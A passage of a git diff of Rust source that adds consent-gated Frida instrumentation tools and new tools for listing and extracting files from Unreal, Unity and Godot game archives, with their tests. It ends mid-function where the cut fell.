return Err(ToolError::new(ErrorCode::BadInput, "that session is closed")); + } + s.state = State::Running; + value(json!({"session_id": p.session_id, "state": "running"})) +} + +fn frida_script_forget(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: UnloadParams = parse_params(params)?; + let st = store(ctx); + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + let s = guard.get_mut(&p.session_id).ok_or_else(unknown_session)?; + let before = s.scripts.len(); + s.scripts.retain(|sc| sc.script_id != p.script_id); + if s.scripts.len() == before { + return Err(ToolError::new(ErrorCode::BadInput, format!("no script {} in that session", p.script_id))); + } + value(json!({"unloaded": true, "session_id": p.session_id, "script_id": p.script_id})) +} + +fn frida_session_show(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SessionIdParams = parse_params(params)?; + let st = store(ctx); + let guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + let s = guard.get(&p.session_id).ok_or_else(unknown_session)?; + let scripts: Vec = s + .scripts + .iter() + .map(|sc| { + json!({ + "script_id": sc.script_id, "source_kind": sc.source_kind, "source_path": sc.source_path, + "source_sha256": sc.source_sha256, "messages": sc.messages, "messages_truncated": sc.messages_truncated, + }) + }) + .collect(); + let target = s.target.clone(); + let env = frida_env(ctx); + // Build the evidence while the lock is released to avoid holding it across the builder. + let result = json!({ + "session_id": s.session_id, "device_id": s.device_label, "target": s.target, "pid": s.pid, + "mode": s.mode.as_str(), "state": s.state.as_str(), "scripts": scripts, "script_count": s.scripts.len(), + }); + let summary = format!("Session {} is {} with {} script(s).", s.session_id, s.state.as_str(), s.scripts.len()); + drop(guard); + let e = EvidenceBuilder::new("frida_session_show", frida_subject(&target), env) + .params(json!({"session_id": p.session_id})) + .authority(Authority::OutsideService) + .confidence(Confidence::Observed) + .result(result) + .summary(summary) + .coverage(Coverage::complete(1)) + .build()?; + done(e) +} + +fn frida_session_end(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: SessionIdParams = parse_params(params)?; + let st = store(ctx); + let mut guard = st.0.lock().unwrap_or_else(PoisonError::into_inner); + if guard.remove(&p.session_id).is_none() { + return Err(unknown_session()); + } + value(json!({"session_id": p.session_id, "closed": true, "target_state": "unknown"})) +} + +fn frida_instrument_run(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: InstrumentParams = parse_params(params)?; + if p.duration_ms > 60_000 { + return Err(ToolError::invalid("duration_ms must be between 0 and 60000")); + } + let selector = Selector { device_id: p.device_id.clone(), remote: p.remote.map(RemoteSpec::into_remote) }; + selector.args()?; + let (attach, target) = match p.mode { + StartMode::Attach => { + let pid = validate_pid(p.pid.ok_or_else(|| ToolError::invalid("mode=attach needs pid"))?)?; + (Attach::Pid(pid), format!("pid {pid}")) + } + StartMode::Spawn => { + let prog = p.program.as_ref().ok_or_else(|| ToolError::invalid("mode=spawn needs program"))?; + let pb = abs_path(prog, "program")?; + validate_argv(&p.argv)?; + (Attach::Spawn { program: pb.clone(), argv: p.argv.clone() }, pb.to_string_lossy().into_owned()) + } + }; + let (script, source_path) = read_script(p.source_kind, &p.source, &p.path)?; + let source_sha256 = sha256_hex(&script); + let source_kind = match p.source_kind { + SourceKind::Inline => "inline", + SourceKind::File => "file", + }; + let (messages, truncated, exit) = run_and_collect(ctx, &selector, &attach, &script, p.duration_ms)?; + let e = EvidenceBuilder::new("frida_instrument_run", frida_subject(&target), frida_env(ctx)) + .params(json!({"mode": match p.mode { StartMode::Attach => "attach", StartMode::Spawn => "spawn" }, "source_kind": source_kind, "source_path": source_path, "duration_ms": p.duration_ms})) + .authority(Authority::OutsideService) + .confidence(Confidence::Observed) + .result(json!({ + "target": target, "source_kind": source_kind, "source_path": source_path, "source_sha256": source_sha256, + "duration_ms": p.duration_ms, "messages": messages, "messages_truncated": truncated, "exit_code": exit, + })) + .summary(format!("Instrumented {target} for up to {} ms ({} message(s) captured).", p.duration_ms, messages.len())) + .limitation(Limitation::new("bounded_cli_run", "The script ran via the Frida CLI with closed stdin and a deadline; duration_ms is an upper bound, and no interactive session is kept.")) + .coverage(Coverage::complete(messages.len() as u64)) + .build()?; + done(e) +} + +fn unknown_session() -> ToolError { + ToolError::new(ErrorCode::BadInput, "no Frida session with that id") + .with_remediation("Start one with frida_session_begin; session ids live only for this run.") +} + +#[cfg(test)] +mod tests { + use super::*; + use crate::tools::native_common::test_support::call_err; + use crate::{Engine, Session, Settings}; + + fn engine_without_frida() -> (Engine, tempfile::TempDir) { + let dir = tempfile::tempdir().unwrap(); + let mut settings = Settings { deep_mode: true, ..Default::default() }; + settings.engines.store_dir = Some(dir.path().to_path_buf()); + settings.engines.tools = Default::default(); + (Engine::new(Session::new(settings)), dir) + } + + fn frida_locatable(e: &Engine) -> bool { + let s = e.session(); + craft_anything_engines::locate("frida", &s.settings.engines.tools, &s.settings.engine_store_dir()).is_some() + } + + #[test] + fn missing_frida_is_provider_unavailable() { + let (e, _d) = engine_without_frida(); + if frida_locatable(&e) { + return; + } + for id in ["frida_devices_find", "frida_targets_list", "frida_session_begin", "frida_instrument_run"] { + let err = call_err(&e, id, json!({"mode": "attach", "pid": 123, "source_kind": "inline", "source": "console.log(1)"})); + assert_eq!(err.code, ErrorCode::EngineMissing, "{id}"); + assert!(err.remediation.is_some()); + } + } + + #[test] + fn foreign_code_tools_need_consent() { + let e = Engine::new(crate::testing::session()); + for id in ["frida_script_run", "frida_session_continue", "frida_instrument_run"] { + assert!(e.registry().get(id).unwrap().effects.needs_consent(), "{id} should be consent-gated"); + } + // Device listing and status do not run foreign code. + assert!(!e.registry().get("frida_devices_find").unwrap().effects.needs_consent()); + assert!(!e.registry().get("frida_session_show").unwrap().effects.needs_consent()); + } + + #[test] + fn session_ids_are_distinct() { + let a = new_id("fs"); + let b = new_id("fs"); + assert_ne!(a, b); + assert!(a.starts_with("fs_")); + assert_eq!(a.len(), 3 + 32); + } + + #[test] + fn remote_spec_never_derives_serialize() { + // Compile-time guarantee lives in the engines crate (Remote is not Serialize). Here we just + // confirm a selector with auth validates and that device_id-only selectors round-trip. + let sel = Selector { + device_id: None, + remote: Some(Remote { address: "1.2.3.4:27042".into(), token: Some("s".into()), certificate: None, origin: None, keepalive_interval: None }), + }; + assert!(sel.args().is_ok()); + } +} diff --git a/desktop/crates/engine/src/tools/game_archive_tools.rs b/desktop/crates/engine/src/tools/game_archive_tools.rs new file mode 100644 index 0000000..0af5ef1 --- /dev/null +++ b/desktop/crates/engine/src/tools/game_archive_tools.rs @@ -0,0 +1,1814 @@ +//! Game archives: what's inside a game's packed files, and taking one out. Only the parts of the +//! file that describe its contents are read (an Unreal pak's footer and index), and a file taken +//! out is streamed, so a pak of many gigabytes is fine. + +use super::native_common::{params_json, spec}; +use super::static_input::{builder, format_err}; +use super::web_common::{Image, encode_png}; +use crate::tool::{CancelToken, Ctx, Effects, Requires, ToolOutput, ToolSpec, Toolset, parse_params, schema_of}; +use craft_anything_evidence::{Confidence, Coverage, ErrorCode, Limitation, Location, Subject, ToolError}; +use craft_anything_formats::godot_pck; +use craft_anything_formats::unity_bundle; +use craft_anything_formats::unity_serialized; +use craft_anything_formats::unity_texture; +use craft_anything_formats::unreal_iostore; +use craft_anything_formats::unreal_pak::{self, Entry, Footer}; +use craft_anything_formats::{pixels, unreal_texture}; +use schemars::JsonSchema; +use serde::{Deserialize, Serialize}; +use serde_json::{Value, json}; +use std::collections::BTreeMap; +use std::fs::File; +use std::io::{Read, Seek, SeekFrom, Write}; +use std::path::{Path, PathBuf}; + +/// The largest index (or directory index, or compressed block) read into memory. +const MAX_INDEX: u64 = 512 << 20; +/// The largest compressed block taken (Unreal's default block is 64 KiB). +const MAX_BLOCK: u64 = 16 << 20; + +pub fn specs() -> Vec { + vec![ + spec( + "game_archives_list", + "List a game's archives", + "Find the packed files in a game's folder (absolute path): Unreal paks (.pak, checked by their footer) and IoStore containers (.utoc), Unity serialized files (.assets, level, globalgamemanagers) and bundles (.bundle, data.unity3d), and Godot packs (.pck, or carried at the end of a program, checked by their mark, with how many files each declares), each with its size and the tool that lists it. Looks at most 8 folders deep and at 20000 entries.", + "Find the files a game keeps its pictures, sounds and models in.", + Toolset::Formats, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + game_archives_list, + ), + spec( + "game_pak_list", + "List an Unreal pak", + "List what's inside an Unreal Engine .pak archive (absolute path): its version (1-11), mount point, compression methods, and every file with its size, stored size, compression and whether it's encrypted, paged and optionally filtered by a part of the path. Only the footer and index are read, so very large paks are fine. An encrypted index is reported, never guessed: listing it needs the game's own AES key. Says when the game also keeps IoStore containers (.utoc/.ucas) beside it.", + "See which files are packed inside an Unreal game's .pak file.", + Toolset::Formats, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + game_pak_list, + ), + spec( + "game_iostore_list", + "List an Unreal IoStore container", + "List what's inside an Unreal Engine IoStore container (absolute path of its .utoc table of contents, or of the .ucas beside it): its version, flags (compressed, encrypted, signed, indexed), compression methods, chunk and partition counts, and every named file with its size, stored size and compression, paged and optionally filtered by a part of the path. Unreal 5 games keep most of their assets this way. An encrypted container's names need the game's AES key, so they're counted, never guessed.", + "See which files are packed inside an Unreal game's .utoc/.ucas files.", + Toolset::Formats, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + game_iostore_list, + ), + spec( + "game_unity_list", + "List a Unity assets file", + "List the objects in a Unity serialized file (absolute path: a .assets file, level, globalgamemanagers, sharedassets.assets in _Data) or in a bundle (.bundle, data.unity3d: every serialized file inside it, each object naming its `file`, or only `file`'s): the format version, Unity version, build platform, how many objects of each class (GameObject, Texture2D, AudioClip, MonoBehaviour…), the other files it points to, and the objects with their path id, class, size and name (named assets, GameObjects and MonoBehaviours), paged and optionally filtered by class or name. Unity 5 and later.", + "See which textures, sounds, models and objects a Unity game's .assets or .bundle file holds.", + Toolset::Formats, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + game_unity_list, + ), + spec( + "game_unity_bundle_list", + "List a Unity bundle", + "List the files inside a Unity asset bundle in the UnityFS format (absolute path: a .bundle, data.unity3d or Addressables file): its format, Unity version, block compression (LZMA, LZ4), and each file with its size, and for each serialized file inside, its Unity version, object count and objects by class. Only the blocks that hold those files' headers are decompressed. Paged and optionally filtered by a part of the path.", + "See what a Unity game's .bundle file holds.", + Toolset::Formats, + Effects::EVIDENCE, + Requires::Nothing, + schema_of::, + game_unity_bundle_list, + ), + spec( + "game_unity_asset_export", + "Take an asset out of a Unity game", + "Save one object of a Unity serialized file (absolute path of a .assets or level file, or of a bundle: then `file` picks the serialized file inside, the first by default) as a file anyone can open: a texture (Texture2D, by its path_id from game_unity_list) becomes a PNG at `output` (an absolute path that doesn't exist yet). Pixels are read inside the object or from the .resS file it streams from. Formats: Alpha8, R8, RGB24, RGBA32, ARGB32, BGRA32, RGB565, RGBA4444, ARGB4444, DXT1, DXT5, BC4, BC5, BC6H (tone-mapped to 8 bits; brighter than white clips) and BC7; others (crunched, ASTC, ETC…) are refused with their name. Unity 2017.3 and later.", + "Save a picture from a Unity game as a PNG.", + Toolset::Formats, + Effects::EVIDENCE.union(Effects::WRITES_FILESYSTEM), + Requires::Nothing, + schema_of::, + game_unity_asset_export, + ), + spec( + "game_unreal_texture_export", + "Take a texture out of an Unreal game", + "Save a texture of an Unreal Engine 4.26-4.27 game as a PNG, only when the person confirms they may unpack the game (permission: true; they made it or its rights holder allows it). path is the game's .pak (then `file` is the texture's .uasset path inside it, as game_pak_list shows it) or a .uasset already taken out, with its .uexp (and .ubulk) beside it. The largest mip the game ships is saved at `output` (an absolute path that doesn't exist yet). Formats: B8G8R8A8, R8G8B8A8, G8, A8, DXT1, DXT5, BC4, BC5, BC6H (tone-mapped to 8 bits) and BC7; others (ASTC…) are refused by name, as are Oodle-compressed and encrypted paks, Unreal 5 packages and packages written without property names.", + "Save a picture from an Unreal game you may unpack as a PNG.", + Toolset::Formats, + Effects::EVIDENCE.union(Effects::WRITES_FILESYSTEM), + Requires::Nothing, + schema_of::, + game_unreal_texture_export, + ), + spec( + "game_pak_extract", + "Take files out of an Unreal pak", + "Copy files out of an Unreal Engine .pak archive (absolute path). `file` is one file's path as game_pak_list shows it (any case) and `output` an absolute path that doesn't exist yet (its folders are made); the result has the size and SHA-256. A `file` ending in `/` (e.g. `Game/Content/UI/`) takes out every file under that folder into the folder `output`, keeping their layout, up to `limit` files per call: files already there are skipped, so calling again carries on. Stored and zlib-compressed files are supported and streamed. Encrypted files need the game's AES key and Oodle-compressed ones need Oodle (a commercial library the game ships), so both are refused with the reason.", + "Take a file, or a whole folder, out of an Unreal game's .pak file.", + Toolset::Formats, + Effects::EVIDENCE.union(Effects::WRITES_FILESYSTEM), + Requires::Nothing, + schema_of::, + game_pak_extract, + ), + ] +} + +fn d_limit() -> usize { + 500 +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ListParams { + /// Absolute path of the archive (.pak, an IoStore container's .utoc or .ucas, a Unity .assets + /// or level file, or a Unity bundle). + pub path: String, + /// Only files whose path contains this (any case). + #[serde(default)] + pub filter: Option, + /// First file of the page. + #[serde(default)] + pub offset: usize, + /// Files per page (1–20000, default 500). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct UnityListParams { + /// Absolute path of the .assets or level file, or of a bundle. + pub path: String, + /// For a bundle: only this serialized file inside it (as game_unity_bundle_list shows); every one by default. + #[serde(default)] + pub file: Option, + /// Only objects whose class or name contains this (any case). + #[serde(default)] + pub filter: Option, + /// First object of the page. + #[serde(default)] + pub offset: usize, + /// Objects per page (1–20000, default 500). + #[serde(default = "d_limit")] + pub limit: usize, +} + +#[derive(Debug, Deserialize, Serialize, JsonSchema)] +#[serde(deny_unknown_fields)] +pub struct ExtractParams { + /// Absolute path of the .pak file. + pub path: String, + /// The file to take out, as game_pak_list shows it (e.g. `Game/Content/Maps/Level.umap`; any case), + /// or a folder ending in `/` (e.g. `Game/Content/UI/`) to take out every file under it. + pub file: String, + /// Where to write it: an absolute path that doesn't exist yet (its folders are made). For a + /// folder, the folder to write into; files keep their layout under it. + pub output: String, + /// For a folder: the most files to take out in this call (at most 5000). + #[serde(default = "d_limit")] + pub limit: usize, +} + +fn read_at(file: &mut File, path: &Path, at: u64, len: u64) -> Result, ToolError> { + if len > MAX_INDEX { + return Err(ToolError::new(ErrorCode::OverLimit, format!("the pak's index is {len} bytes; the limit is {MAX_INDEX}"))); + } + let mut buf = vec![0; len as usize]; + file.seek(SeekFrom::Start(at)).and_then(|_| file.read_exact(&mut buf)).map_err(|e| ToolError::io(path.display(), e))?; + Ok(buf) +} + +/// An opened pak: its footer and the files its index lists. +struct Pak { + file: File, + path: PathBuf, + len: u64, + name: String, + footer: Footer, + /// None when the index is encrypted. + mount_point: Option, + file_count: u64, + files: Vec, + lims: Vec, +} + +fn open_pak(ctx: &Ctx<'_>, raw: &str) -> Result { + let path = PathBuf::from(raw); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("{raw:?} is not an absolute path")).with_remediation("Pass the full path of the .pak file.")); + } + let mut file = File::open(&path).map_err(|e| ToolError::io(path.display(), e))?; + let len = file.metadata().map_err(|e| ToolError::io(path.display(), e))?.len(); + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let tail_len = len.min(unreal_pak::FOOTER_READ as u64); + let tail = read_at(&mut file, &path, len - tail_len, tail_len)?; + let footer = unreal_pak::footer(&tail, len).map_err(|_| { + ToolError::unsupported(format!( + "{name} has no standard Unreal pak footer at its end: it's another kind of .pak, or the game changed the pak format (some do, to stop modding)." + )) + .with_remediation( + "Unreal games keep their paks in /Content/Paks/. Chromium's .pak files (cef.pak, chrome_100_percent.pak) are a different format.", + ) + })?; + ctx.report(None, format!("Reading the index of {name}")); + let index_bytes = read_at(&mut file, &path, footer.index_offset, footer.index_size)?; + let mut lims = Vec::new(); + let (mount_point, file_count, files) = match unreal_pak::index(&index_bytes, &footer) { + Ok(index) => { + let files = match index.directory_index { + Some((at, size)) => { + let dir = read_at(&mut file, &path, at, size)?; + unreal_pak::directory(&dir, &footer, &index, usize::MAX).map_err(|e| format_err(e, "an Unreal pak's directory index"))? + } + None if footer.version >= 10 => { + lims.push(Limitation::new("hashed_names", "This pak keeps its file names only as hashes, so the files are counted but not listed.")); + Vec::new() + } + None => index.entries, + }; + (Some(index.mount_point), index.file_count, files) + } + Err(craft_anything_formats::FormatError::Unsupported(why)) => { + lims.push(Limitation::new( + "encrypted_index", + format!("{why}; listing it needs that key, which only the game has. Keys aren't searched for or guessed."), + )); + (None, 0, Vec::new()) + } + Err(e) => return Err(format_err(e, "an Unreal pak's index")), + }; + Ok(Pak { file, path, len, name, footer, mount_point, file_count, files, lims }) +} + +/// A path as people see it: "../../../Game/Content/…" without the climb to the game's root. +fn shown_path(path: &str) -> &str { + path.trim_start_matches("../") +} + +fn shown(e: &Entry) -> &str { + shown_path(&e.path) +} + +/// The items whose path contains the filter (any case). +fn matching<'a, T>(items: &'a [T], path: impl Fn(&T) -> &str, filter: Option<&str>) -> Vec<&'a T> { + let needle = filter.map(str::to_lowercase).filter(|f| !f.is_empty()); + items.iter().filter(|i| needle.as_deref().is_none_or(|n| path(i).to_lowercase().contains(n))).collect() +} + +/// How many items use each compression method. +fn by_compression<'a>(methods: impl Iterator) -> BTreeMap<&'a str, u64> { + let mut out = BTreeMap::new(); + for m in methods { + *out.entry(m).or_default() += 1; + } + out +} + +fn game_pak_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let Pak { path, name, footer, mount_point, file_count, files, mut lims, .. } = open_pak(ctx, &p.path)?; + let matching = matching(&files, |e| e.path.as_str(), p.filter.as_deref()); + let page: Vec = matching + .iter() + .skip(p.offset) + .take(p.limit.clamp(1, 20_000)) + .map(|e| json!({"path": shown(e), "size": e.uncompressed_size, "stored_size": e.size, "compression": e.compression, "encrypted": e.encrypted, "offset": e.offset})) + .collect(); + let by_compression = by_compression(files.iter().map(|e| e.compression.as_str())); + let encrypted_files = files.iter().filter(|e| e.encrypted).count(); + if encrypted_files > 0 { + lims.push(Limitation::new("encrypted_files", format!("{encrypted_files} file(s) are encrypted; their contents need the game's AES key."))); + } + let stem = path.file_stem().map(|s| s.to_string_lossy().into_owned()).unwrap_or_default(); + let iostore = path.with_file_name(format!("{stem}.utoc")).is_file(); + let guid = footer.encryption_key_guid.as_deref().filter(|g| g.bytes().any(|b| b != b'0')); + let result = json!({ + "version": footer.version, + "mount_point": mount_point, + "encrypted_index": footer.encrypted_index, + "encryption_key_guid": guid, + "compression_methods": footer.compression_methods, + "file_count": file_count, + "listed": files.len(), + "by_compression": by_compression, + "encrypted_files": encrypted_files, + "size": files.iter().map(|e| e.uncompressed_size).sum::(), + "stored_size": files.iter().map(|e| e.size).sum::(), + "iostore": iostore.then(|| format!("{stem}.utoc / {stem}.ucas")), + "matching": matching.len(), + "offset": p.offset, + "files": page, + }); + let summary = if footer.encrypted_index { + format!("{name}: an Unreal pak (version {}) whose index is encrypted; its files can't be listed without the game's key.", footer.version) + } else { + let iostore_note = if iostore { " Most of the game's assets are in its IoStore files (.utoc/.ucas) beside it." } else { "" }; + format!("{name}: an Unreal pak (version {}) with {file_count} file(s).{iostore_note}", footer.version) + }; + let shown_count = page.len() as u64; + let b = builder(ctx, "game_pak_list", Subject { kind: "archive".into(), sha256: None, name: Some(name) }, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::page(shown_count, matching.len() as u64, p.offset as u64)) + .location(Location::new("path", p.path.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +fn game_iostore_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: ListParams = parse_params(params)?; + let mut path = PathBuf::from(&p.path); + if !path.is_absolute() { + return Err(ToolError::invalid(format!("{:?} is not an absolute path", p.path)).with_remediation("Pass the full path of the .utoc file.")); + } + // The table of contents sits beside its data file, with the same name. + if path.extension().is_some_and(|x| x.eq_ignore_ascii_case("ucas")) { + path.set_extension("utoc"); + } + let name = path.file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let len = std::fs::metadata(&path).map_err(|e| ToolError::io(path.display(), e))?.len(); + if len > MAX_INDEX { + return Err(ToolError::new(ErrorCode::OverLimit, format!("{name} is {len} bytes; the limit is {MAX_INDEX}"))); + } + ctx.report(None, format!("Reading {name}")); + let data = std::fs::read(&path).map_err(|e| ToolError::io(path.display(), e))?; + if !data.starts_with(unreal_iostore::MAGIC) { + return Err(ToolError::unsupported(format!("{name} isn't an IoStore table of contents.")) + .with_remediation("Pass the .utoc file (or the .ucas beside it) from /Content/Paks/.")); + } + let toc = unreal_iostore::toc(&data).map_err(|e| format_err(e, "an IoStore table of contents"))?; + let h = &toc.header; + let mut lims = Vec::new(); + let (mount_point, files, file_count) = if !h.flags.encrypted && (!h.flags.indexed || h.version < 2) { + (None, Vec::new(), None) + } else { + match unreal_iostore::files(&toc, usize::MAX) { + Ok((mount, files, total)) => (Some(mount), files, Some(total)), + Err(craft_anything_formats::FormatError::Unsupported(why)) => { + lims.push(Limitation::new( + "encrypted_index", + format!("{why}; naming its files needs that key, which only the game has. Keys aren't searched for or guessed."), + )); + (None, Vec::new(), Some(0)) + } + Err(e) => return Err(format_err(e, "an IoStore directory index")), + } + }; + if !h.flags.indexed || h.version < 2 { + lims.push(Limitation::new("not_indexed", "This container has no directory index, so its chunks are counted but not named.")); + } + let matching = matching(&files, |f| f.path.as_str(), p.filter.as_deref()); + let page: Vec = matching + .iter() + .skip(p.offset) + .take(p.limit.clamp(1, 20_000)) + .map(|f| json!({"path": shown_path(&f.path), "size": f.size, "stored_size": f.stored_size, "compression": f.compression, "chunk": f.chunk})) + .collect(); + let guid = Some(h.encryption_key_guid.as_str()).filter(|g| g.bytes().any(|b| b != b'0')); + let (size, stored_size) = match file_count { + Some(_) => (Value::from(files.iter().map(|f| f.size).sum::()), Value::from(files.iter().map(|f| f.stored_size).sum::())), + None => (Value::Null, Value::Null), + }; + let result = json!({ + "version": h.version, + "mount_point": mount_point, + "flags": h.flags, + "encryption_key_guid": guid, + "compression_methods": toc.methods, + "chunk_count": h.chunk_count, + "block_size": h.block_size, + "partition_count": h.partition_count, + "file_count": file_count, + "by_compression": by_compression(files.iter().map(|f| f.compression.as_str())), + "size": size, + "stored_size": stored_size, + "matching": file_count.map(|_| matching.len()), + "offset": p.offset, + "files": page, + }); + let summary = if h.flags.encrypted { + format!( + "{name}: an Unreal IoStore container (version {}, {} chunks) whose names are encrypted; its files can't be named without the game's key.", + h.version, h.chunk_count + ) + } else if !h.flags.indexed || h.version < 2 { + format!( + "{name}: an Unreal IoStore container (version {}, {} chunks) with no directory index; its chunks are counted but not named.", + h.version, h.chunk_count + ) + } else { + format!("{name}: an Unreal IoStore container (version {}) with {} named file(s) in {} chunks.", h.version, file_count.unwrap_or(0), h.chunk_count) + }; + let shown_count = page.len() as u64; + let coverage = match file_count { + Some(_) => Coverage::page(shown_count, matching.len() as u64, p.offset as u64), + None => Coverage::default(), + }; + let b = builder(ctx, "game_iostore_list", Subject { kind: "archive".into(), sha256: None, name: Some(name) }, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(coverage) + .location(Location::new("path", path.display().to_string())); + Ok(ToolOutput::evidence(b.build()?)) +} + +/// Bytes read at an object's start to find its name (enough for a GameObject with many components). +const NAME_READ: u64 = 1024; + +fn game_unity_list(ctx: &mut Ctx<'_>, params: Value) -> Result { + let p: UnityListParams = parse_params(params)?; + let name = Path::new(&p.path).file_name().map(|n| n.to_string_lossy().into_owned()).unwrap_or_default(); + let first = Serialized::open(&p.path, p.file.as_deref())?; + // A bundle is read file by file: every serialized file inside it, or only the one asked for. + let (inner, inside) = match &first { + Serialized::Bundle { nodes, .. } if p.file.is_none() => { + let all: Vec = nodes.iter().filter(|n| n.flags & 4 != 0).map(|n| n.path.clone()).collect(); + let inside = all.len(); + (all.into_iter().take(MAX_COUNTED).collect::>(), inside) + } + Serialized::Bundle { node, .. } => (vec![node.path.clone()], 1), + Serialized::File { .. } => (Vec::new(), 0), + }; + let mut sources = vec![(inner.first().cloned(), first)]; + for f in inner.iter().skip(1) { + sources.push((Some(f.clone()), Serialized::open(&p.path, Some(f))?)); + } + let (mut srcs, mut files) = (Vec::new(), Vec::new()); + for (file, mut src) in sources { + ctx.cancel.check()?; + let shown = file.clone().unwrap_or_else(|| name.clone()); + let head = src.read(0, src.len().min(unity_serialized::HEADER_READ as u64))?; + let h = unity_serialized::header(&head, src.len()).map_err(|e| match e { + craft_anything_formats::FormatError::Unsupported(why) => ToolError::unsupported(format!("{shown} is a Unity {why}, which isn't read here.")), + _ => ToolError::unsupported(format!("{shown} isn't a Unity serialized file.")) + .with_remediation("Pass a .assets file, level or globalgamemanagers from the game's _Data folder, or a bundle."), + })?; + ctx.report(None, format!("Reading {shown}")); + let meta = src.read(0, h.metadata_offset + h.metadata_size)?; + let m = unity_serialized::metadata(&meta, &h).map_err(|e| format_err(e, "a Unity serialized file"))?; + srcs.push(src); + files.push((file, h, m)); + } + let mut name_of = |i: usize, o: &unity_serialized::Object| -> Option { + let (_, h, _) = files.get(i)?; + let bytes = srcs.get_mut(i)?.read(o.offset, u64::from(o.size).min(NAME_READ)).ok()?; + unity_serialized::object_name(o.class_id, h, &bytes) + }; + let objects = || files.iter().enumerate().flat_map(|(i, (_, _, m))| m.objects.iter().map(move |o| (i, o))); + // Names are read for the page shown, or for every object when filtering (a name can match). + let needle = p.filter.as_deref().map(str::to_lowercase).filter(|f| !f.is_empty()); + let rows: Vec<(usize, &unity_serialized::Object, String, Option)> = match &needle { + Some(n) => objects() + .map(|(i, o)| (i, o, unity_serialized::class_name(o.class_id), name_of(i, o))) + .filter(|(_, _, class, obj)| class.to_lowercase().contains(n) || obj.as_deref().is_some_and(|x| x.to_lowercase().contains(n))) + .collect(), + None => objects().map(|(i, o)| (i, o, unity_serialized::class_name(o.class_id), None)).collect(), + }; + let page: Vec = rows + .iter() + .skip(p.offset) + .take(p.limit.clamp(1, 20_000)) + .map(|(i, o, class, obj)| { + let obj = if needle.is_some() { obj.clone() } else { name_of(*i, o) }; + let mut row = json!({"path_id": o.path_id, "class": class, "name": obj, "size": o.size, "offset": o.offset}); + if let Some(file) = files.get(*i).and_then(|(f, ..)| f.as_ref()) { + row["file"] = json!(file); + } + row + }) + .collect(); + let classes: Vec = objects().map(|(_, o)| unity_serialized::class_name(o.class_id)).collect(); + let mut by_class: Vec<(&str, u64)> = by_compression(classes.iter().map(String::as_str)).into_iter().collect(); + by_class.sort_by(|a, b| b.1.cmp(&a.1).then_with(|| a.0.cmp(b.0))); + let object_count = classes.len(); + let Some((_, h, m)) = files.first() else { return Err(damaged("no serialized file was read")) }; + let platform = unity_serialized::platform_name(m.platform); + let version = known_version(&m.unity_version, Path::new(&p.path)); + let mut result = json!({ + "format_version": h.version, + "unity_version": version, + "platform": platform, + "type_trees": m.type_trees, + "object_count": object_count, + "by_class": by_class.iter().take(40).map(|(c, n)| json!({"class": c, "count": n})).collect::>(), + "externals": files.iter().flat_map(|(_, _, m)| &m.externals).take(100).collect::>(), + "matching": rows.len(), + "offset": p.offset, + "objects": page, + }); + let mut lims = Vec::new(); + let summary = if inner.is_empty() { + format!("{name}: a Unity {version} file for {platform} with {object_count} object(s).") + } else { + result["serialized_files"] = json!(inner); + if inside > inner.len() { + lims.push(Limitation::new( + "files_unread", + format!("Only the first {} of the bundle's {inside} serialized files were read; pass `file` for the others.", inner.len()), + )); + } + format!("{name}: a Unity {version} bundle for {platform}; {} serialized file(s) with {object_count} object(s).", inner.len()) + }; + let shown_count = page.len() as u64; + let b = builder(ctx, "game_unity_list", Subject { kind: "archive".into(), sha256: None, name: Some(name) }, params_json(&p)) + .result(result) + .summary(summary) + .confidence(Confidence::Observed) + .limitations(lims) + .coverage(Coverage::page(shown_count, rows.len() as u64, p.offset as u64)) + .location(Location::new("path", p.path.clone())); + Ok(ToolOutput::evidence(b.build()?)) +} + +/// Whether a Unity version was left out when the file was built (it then reads `0.0.0`). +fn stripped(version: &str) -> bool { + unity_serialized::version_numbers(version).is_none_or(|v| v == (0, 0)) +} + +/// The Unity version that wrote a file. Bundles built with the version stripped don't say; the +/// game's globalgamemanagers, in the `_Data` folder above them, does. +fn known_version(version: &str, path: &Path) -> String { + if !stripped(version) { + return version.to_string(); + } + let from_game = path.ancestors().skip(1).take(8).find_map(|dir| { + let ggm = dir.join("globalgamemanagers"); + let mut file = File::open(&ggm).ok()?; + let len = file.metadata().ok()?.len(); + let head = read_at(&mut file, &ggm, 0, len.min(unity_serialized::HEADER_READ as u64)).ok()?; + let h = unity_serialized::header(&head, len).ok()?; + let meta = read_at(&mut file, &ggm, 0, h.metadata_offset + h.metadata_size).ok()?; + Some(unity_serialized::metadata(&meta, &h).ok()?.unity_version) + }); + from_game.filter(|v| !stripped(v)).unwrap_or_else(|| version.to_string()) +} + +/// Most bytes decompressed from a bundle in one read (metadata, or a texture's pixels). +const MAX_BUNDLE_READ: u64 = 256 << 20; +/// Serialized files inside a bundle whose objects are counted. +const MAX_COUNTED: usize = 16; + +/// The bundle block decompressed last (its index and bytes), so many small reads (objects' +/// names) decompress each block once. +type BlockCache = Option<(usize, Vec)>; + +/// A range of a bundle's uncompressed data, decompressing only the blocks it touches. +fn bundle_range( + file: &mut File, + path: &Path, + h: &unity_bundle::Header, + blocks: &[unity_bundle::Block], + start: u64, + len: u64, + cache: &mut BlockCache, +) -> Result, ToolError> { + if len > MAX_BUNDLE_READ { + 